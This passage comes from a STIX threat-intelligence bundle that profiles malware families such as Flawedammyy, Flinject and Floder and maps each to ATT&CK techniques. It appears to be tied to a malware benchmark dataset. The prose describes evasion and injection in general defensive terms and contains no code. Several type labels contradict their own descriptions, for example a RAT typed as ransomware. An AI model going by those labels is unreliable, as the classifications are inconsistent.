      "id": "relationship--44b58ab1-ff8b-589f-ac36-649c87331d47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b816dd7a-25e8-5e09-aa31-293586c2f2dd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Firstinj exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--001ec2bb-de54-5344-b7cc-aa1fd3fadacb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b816dd7a-25e8-5e09-aa31-293586c2f2dd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Firstinj exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a6437c0-1028-5112-8a26-e9efaa776b30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b816dd7a-25e8-5e09-aa31-293586c2f2dd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Firstinj exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--739cb610-8d88-5cd0-b78a-c74713052136",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b816dd7a-25e8-5e09-aa31-293586c2f2dd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Firstinj exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e6fbb78-d6fe-51d1-810e-2f58f361a657",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b816dd7a-25e8-5e09-aa31-293586c2f2dd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Firstinj exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1ad1f022-e42d-5265-9c51-3ec77646856a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Flawedammyy",
      "description": "Backdoor:Win32/Flawedammyy is a highly prevalent Remote Access Trojan (RAT) that gained massive notoriety due to its heavy deployment by the cybercriminal syndicate TA505 (the group behind Dridex and Locky ransomware). The defining characteristic of Flawedammyy is that it is built entirely upon the leaked source code of a legitimate remote desktop software called 'Ammyy Admin'. By weaponizing legitimate administrative code, TA505 created a highly stable, feature-rich RAT that frequently evaded traditional heuristic detection (`T1059`).<br><br><b>Understanding Flawedammyy (TA505 Operations)</b><br>To an end-user, the infection is invisible, though they may occasionally notice their mouse moving on its own if the attacker engages an active remote session. For a security operations center (SOC), a Flawedammyy detection is a critical alert. TA505 uses this RAT to establish a beachhead, perform manual network reconnaissance, steal credentials, and ultimately deploy enterprise-wide ransomware (like Clop).<br><br><b>Execution and RAT Mechanics</b><br>Flawedammyy is almost exclusively distributed via massive, high-volume malspam campaigns (`T1566.001`). These campaigns often utilize complex infection chains, starting with malicious Excel macros (.xls) or Windows Installer files (.msi) that download a loader (like QuantLoader or ServHelper), which finally decrypts and injects the Flawedammyy payload into memory (`T1055`). Once active, the RAT provides the operators with a full suite of capabilities identical to a legitimate remote admin tool: remote desktop viewing, file manager access (upload/download), audio capture, and a command shell. It establishes persistence via the Registry Run keys or as a Windows Service (`T1543.003`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is full, interactive remote control of the compromised endpoint, leading to data exfiltration and ransomware deployment. Host-based IoCs include EDR alerts for process injection (often into `explorer.exe` or `svchost.exe`) and the creation of unexpected Windows Services. Network IoCs are distinct: Flawedammyy communicates using a proprietary binary protocol over TCP (often port 443 or 80 to blend in), but deep packet inspection can reveal the specific handshake signatures characteristic of the underlying Ammyy Admin codebase. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Flawedammyy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/flawedammyy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--851fce1f-025a-5576-9676-5d4861dfcb2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ad1f022-e42d-5265-9c51-3ec77646856a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flawedammyy exhibits technique T1059 (Command and Scripting Interpreter (Providing the backdoor shell and remote desktop capability))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45f43b66-0391-55f3-a7e5-d97387c734a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ad1f022-e42d-5265-9c51-3ec77646856a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flawedammyy exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary distribution via TA505 malspam))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73126c3a-f3ef-5da2-bb8c-7414bb8515e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ad1f022-e42d-5265-9c51-3ec77646856a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flawedammyy exhibits technique T1055 (Process Injection (Hiding the RAT in legitimate processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a36cda1-c7ab-54da-b707-9937768a2b4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ad1f022-e42d-5265-9c51-3ec77646856a",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flawedammyy exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistence))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--654c7a2b-83c7-5660-8443-5fcc639c24de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fleercivet",
      "description": "Adware:Win32/Fleercivet is a persistent adware family focused on click fraud and silent ad-injection. Unlike traditional adware that constantly bothers the user with visible pop-ups, Fleercivet is designed to operate more stealthily, generating revenue by simulating clicks on background advertisements or by quietly replacing legitimate ads on websites with those belonging to the attacker's affiliate network (`T1499`).<br><br><b>Understanding Fleercivet (Ad Injection)</b><br>To an end-user, the infection might manifest as slow browser performance or noticing that ads on familiar websites look strangely off-brand or lower quality. For a security team, Fleercivet is a network nuisance that indicates a failure in endpoint controls regarding Potentially Unwanted Programs (PUPs) and introduces the risk of malvertising.<br><br><b>Execution and Injection Mechanics</b><br>Fleercivet is distributed primarily via software bundling. Upon execution, it establishes persistence, often utilizing a Scheduled Task or modifying the `AppInit_DLLs` registry key (`T1546.010`) to ensure its DLL is loaded into every new process (specifically targeting browsers). Once hooked into the browser process (Chrome, Firefox, or Edge), Fleercivet uses Man-in-the-Browser (MitB) techniques to intercept web traffic. It parses the HTML of incoming web pages and dynamically injects its own JavaScript, which replaces existing ad banners or creates invisible iframes to click on ads silently in the background.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is degraded system performance and exposure to untrusted advertising networks. Host-based IoCs include EDR alerts for DLL injection into browser processes (e.g., `chrome.exe`), unauthorized modifications to `AppInit_DLLs`, and unexpected Scheduled Tasks. Network IoCs include DNS requests and HTTP traffic directed towards known affiliate marketing and tracking domains that occur independently of user navigation. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fleercivet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fleercivet"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8689de32-8296-5063-ab68-d1ef2915b1be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--654c7a2b-83c7-5660-8443-5fcc639c24de",
      "target_ref": "attack-pattern--2c2773c7-b889-5fa0-bba3-120ba4e8c2e8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fleercivet exhibits technique T1499 (Endpoint Denial of Service (Consuming resources via invisible ad loading and click fraud))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--95fa3d20-825d-5a9b-b7d9-c0be54e7c949",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1546.010: Event Triggered Execution: AppInit DLLs (Persistence and injection mechanism)",
      "description": "MITRE ATT&CK Technique T1546.010 (Event Triggered Execution: AppInit DLLs (Persistence and injection mechanism)) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1546.010",
          "url": "https://attack.mitre.org/techniques/T1546/010/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c9a5acd-86fa-5dae-8120-c95b6e84faa8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--654c7a2b-83c7-5660-8443-5fcc639c24de",
      "target_ref": "attack-pattern--95fa3d20-825d-5a9b-b7d9-c0be54e7c949",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fleercivet exhibits technique T1546.010 (Event Triggered Execution: AppInit DLLs (Persistence and injection mechanism))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e746d46-1255-54e9-9249-db1a3402b5d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--654c7a2b-83c7-5660-8443-5fcc639c24de",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fleercivet exhibits technique T1189 (Drive-by Compromise (Initial distribution via software bundles))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bfb57f99-6894-5c51-bbc6-7213792b4142",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Flinject",
      "description": "<h3>Executive Summary</h3>\nFLInject (often flagged as Trojan.Inject or Injector.FLInject) is a specific, malicious utility designed solely to perform code injection. It is not typically a standalone malware payload (like an info-stealer or ransomware), but rather the delivery mechanism used by other malware to stealthily inject their malicious code into legitimate, running Windows processes to evade detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFLInject is usually embedded within a larger malware framework or dropped by an initial downloader (like a malicious macro in a Word document). It is executed silently in the background.\n\nUpon execution, FLInject's sole purpose is advanced evasion:\n<ul>\n<li><strong>Process Hollowing/Injection:</strong> The core function of FLInject is to target a legitimate Windows process (commonly `svchost.exe`, `explorer.exe`, or `vbc.exe`). It starts the legitimate process in a suspended state, unmaps (hollows out) the legitimate memory, injects the malicious payload into that memory space, and then resumes the process.</li>\n<li><strong>Bypassing Whitelists:</strong> Because the malicious code is now running from within the memory space of a trusted, digitally signed Microsoft process, application whitelisting (like AppLocker) and many legacy antivirus solutions will allow it to run and communicate with the internet without raising alerts.</li>\n<li><strong>API Hooking Evasion:</strong> Advanced variants of FLInject utilize \"direct syscalls\" (system calls) to interact with the Windows kernel, bypassing user-mode API hooks placed by EDR solutions designed to monitor process injection.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of an injection tool like FLInject is a severe security incident. It is absolute proof that a sophisticated malware payload is actively attempting to hide on the system. The primary threat is not the injector itself, but the unknown payload (e.g., a banking trojan, ransomware, or RAT) it has successfully hidden within a legitimate process.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Memory Forensics (EDR):</strong> Immediate network isolation is required. Eradication relies heavily on EDR tools capable of deep memory scanning to identify which legitimate process has been hollowed out and to extract the injected payload for analysis.</li>\n<li><strong>Threat Hunting:</strong> Assume the payload was successful. Hunt for secondary indicators, such as anomalous outbound network connections originating from `svchost.exe` or `explorer.exe`.</li>\n<li><strong>Complete Re-imaging:</strong> Because process injection indicates a deep compromise of the operating system's integrity, attempting to terminate the process and \"clean\" the system is highly risky. A complete bare-metal wipe and re-image from a trusted baseline is necessary.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Inject",
        "Injector.FLInject",
        "Win32/Injector"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Flinject",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/flinject"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4f370d3-5745-5cb9-8abf-8a68119c724e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfb57f99-6894-5c51-bbc6-7213792b4142",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flinject exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a90252bb-3920-56c2-87c9-78a643617ca5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfb57f99-6894-5c51-bbc6-7213792b4142",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flinject exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71d0a3f1-cb8b-5aa9-802a-3e2e07c3de4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfb57f99-6894-5c51-bbc6-7213792b4142",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flinject exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c447ce6b-2824-55a8-ae7a-3b4c6efc6dec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfb57f99-6894-5c51-bbc6-7213792b4142",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flinject exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15d32150-d796-57a9-8d39-e30bc2057b8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfb57f99-6894-5c51-bbc6-7213792b4142",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flinject exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17078925-975f-5ef3-beae-a04aece58d83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfb57f99-6894-5c51-bbc6-7213792b4142",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flinject exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--72a0f0e6-025a-5b44-bdfe-5793907f0cc4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Floder",
      "description": "Trojan:Win32/Floder is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Floder</b><br>To an end-user, a Floder infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Floder is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Floder is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Floder frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Floder reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Floder",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/floder"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fd68936-523d-581d-ae03-84bb1ee61cde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72a0f0e6-025a-5b44-bdfe-5793907f0cc4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Floder exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03fede32-72b1-5dad-9efd-78172de55606",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72a0f0e6-025a-5b44-bdfe-5793907f0cc4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Floder exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49aea17d-6932-52b3-926c-fb087822b03a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72a0f0e6-025a-5b44-bdfe-5793907f0cc4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Floder exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b53b079-1976-5f14-96e9-4305858cdd23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72a0f0e6-025a-5b44-bdfe-5793907f0cc4",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Floder exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea3e4024-35f1-54e0-b3c5-962f4579cecb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72a0f0e6-025a-5b44-bdfe-5793907f0cc4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Floder exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--120ba566-7b06-58a2-ae4b-202c9b6f8666",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Flowershop",
      "description": "Trojan:Win32/Flowershop is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Flowershop</b><br>To an end-user, a Flowershop infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Flowershop is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Flowershop is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Flowershop frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Flowershop reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Flowershop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/flowershop"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--687165a2-452b-552c-ab73-e58a8f98d888",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--120ba566-7b06-58a2-ae4b-202c9b6f8666",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flowershop exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0f2a478-5281-5b35-9155-4c66dff0394d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--120ba566-7b06-58a2-ae4b-202c9b6f8666",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flowershop exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69b1d5b0-1720-548e-b025-2d7534dcc4be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--120ba566-7b06-58a2-ae4b-202c9b6f8666",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flowershop exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0fc5f8e9-6eeb-5b53-9691-b883d3a7d3b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--120ba566-7b06-58a2-ae4b-202c9b6f8666",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flowershop exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42a94aac-05b0-5899-b705-15cf4b0d1bfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--120ba566-7b06-58a2-ae4b-202c9b6f8666",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flowershop exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9a0536eb-d764-58ca-a31e-6b9f770cd4e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Flowspirit",
      "description": "<h3>Executive Summary</h3>\nFlowSpirit is an aggressive Adware and Potentially Unwanted Program (PUP) designed to heavily monetize infected systems. It achieves this by hijacking web browser settings, forcefully injecting unauthorized advertisements, and tracking user browsing habits to generate fraudulent affiliate revenue. FlowSpirit is notorious for its persistent, deeply embedded components that are difficult for standard users to remove.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFlowSpirit primarily infiltrates systems via deceptive software bundling. It is frequently packaged with \"freeware\" applications, media players, or pirated software downloaded from untrustworthy file-sharing websites. The installation process utilizes deceptive \"Dark Patterns\" to hide the adware's deployment.\n\nOnce installed, FlowSpirit aggressively degrades the user experience:\n<ul>\n<li><strong>Browser Hijacking:</strong> It forcibly alters the default homepage, new tab page, and search engine in major web browsers (Chrome, Edge, Firefox), redirecting all traffic through attacker-controlled affiliate links to artificially inflate ad impressions.</li>\n<li><strong>Intrusive Ad Injection:</strong> The adware actively modifies the HTML of legitimate websites visited by the user, overlaying the page with intrusive pop-ups, banner ads, and \"sponsored\" links that completely disrupt normal web browsing.</li>\n<li><strong>Aggressive Persistence (GPO Abuse):</strong> FlowSpirit is known for establishing deep persistence. It often installs malicious browser extensions protected by Windows Group Policy Objects (GPOs) to prevent user removal, and modifies registry `Run` keys to ensure the adware background processes launch 